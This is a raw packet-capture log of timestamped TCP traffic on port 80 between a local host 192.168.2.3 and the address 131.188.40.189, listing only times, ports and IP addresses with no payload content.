Oct 24, 2022 11:08:53.920068979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920074940 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920098066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920120001 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920150042 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920178890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920202017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920238018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920274019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920299053 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920303106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920324087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920332909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920351028 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920362949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920393944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920414925 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920422077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920434952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920452118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920476913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920480013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920509100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920512915 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920532942 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920538902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920567989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920568943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920597076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920598030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920622110 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920628071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920648098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920660019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920686007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920686960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920707941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920716047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920727968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920747995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920774937 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920778036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920793056 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920805931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920819998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920834064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920847893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920860052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920881033 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920891047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920897961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920919895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920945883 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920952082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920965910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920996904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931341887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931401968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931426048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931457996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931488991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931519032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931546926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931545973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931576967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931606054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931610107 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931633949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931634903 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931662083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931675911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931690931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931705952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931719065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931745052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931747913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931772947 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931773901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931797028 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931809902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931813955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931842089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931855917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931871891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.931890011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.931952953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.932176113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932214975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932244062 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.932267904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.932399988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932439089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932466984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932496071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932512999 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.932524920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.932564974 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.932585955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941385031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941445112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941479921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941499949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941512108 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941543102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941546917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941571951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941596985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941601038 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941622972 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941626072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941654921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941657066 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941684008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941684961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941706896 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941715956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941729069 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941745996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941760063 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941780090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941792965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941808939 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941823959 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941838026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941850901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941868067 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941880941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941899061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941905022 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941931009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941960096 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941966057 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.941989899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.941991091 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942012072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942028046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942033052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942056894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942070007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942086935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942097902 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942116976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942143917 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942147017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942163944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942173958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942192078 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942209005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942210913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942240000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942260981 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942269087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942297935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942301035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942322016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942328930 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942347050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942359924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942373037 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942388058 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942398071 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942420006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942429066 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942451954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942476988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942481041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942506075 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942511082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942527056 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942542076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942548990 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942572117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942589998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942603111 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942608118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942631960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942653894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942663908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942693949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942720890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942739010 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942749977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942779064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942797899 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942807913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942823887 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942837954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942856073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942867041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942895889 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942924023 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942948103 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942951918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.942979097 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.942982912 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943000078 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943012953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943026066 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943042994 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943064928 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943073034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943082094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943104029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943114996 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943134069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943150043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943166971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943178892 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943195105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943208933 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943227053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943238974 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943259001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943272114 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943286896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943300009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943319082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943346024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943350077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943377018 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943377972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943401098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943407059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943432093 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943439960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943464041 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943470001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943486929 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943501949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943516016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943528891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943557024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943558931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943582058 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943589926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943604946 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943618059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943634033 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943674088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943701982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943708897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943718910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943743944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943754911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943775892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943788052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943804979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943820000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943835974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943845034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943866014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943878889 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.943914890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943937063 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943989992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.943995953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944017887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944037914 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944057941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944061995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944092989 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944107056 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944123030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944138050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944152117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944165945 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944188118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944196939 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944211006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944242001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944267988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944293976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944322109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944350958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944377899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944389105 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944408894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944415092 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944437027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944447994 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944464922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944468975 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944492102 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944495916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944520950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944541931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944570065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944596052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944597006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944627047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944628954 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944652081 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944657087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944686890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944690943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944710970 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944715023 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944745064 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944771051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944786072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944786072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944786072 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944798946 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944832087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944847107 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944860935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944873095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944883108 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944912910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944916964 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944942951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944961071 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.944972038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.944993973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945003033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945019960 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945030928 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945048094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945061922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945075035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945090055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945105076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945118904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945127010 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945148945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945178032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945207119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945208073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945238113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945241928 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945267916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.945271015 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.945301056 CEST	49692	80	192.168.2.3	131.188.40.189
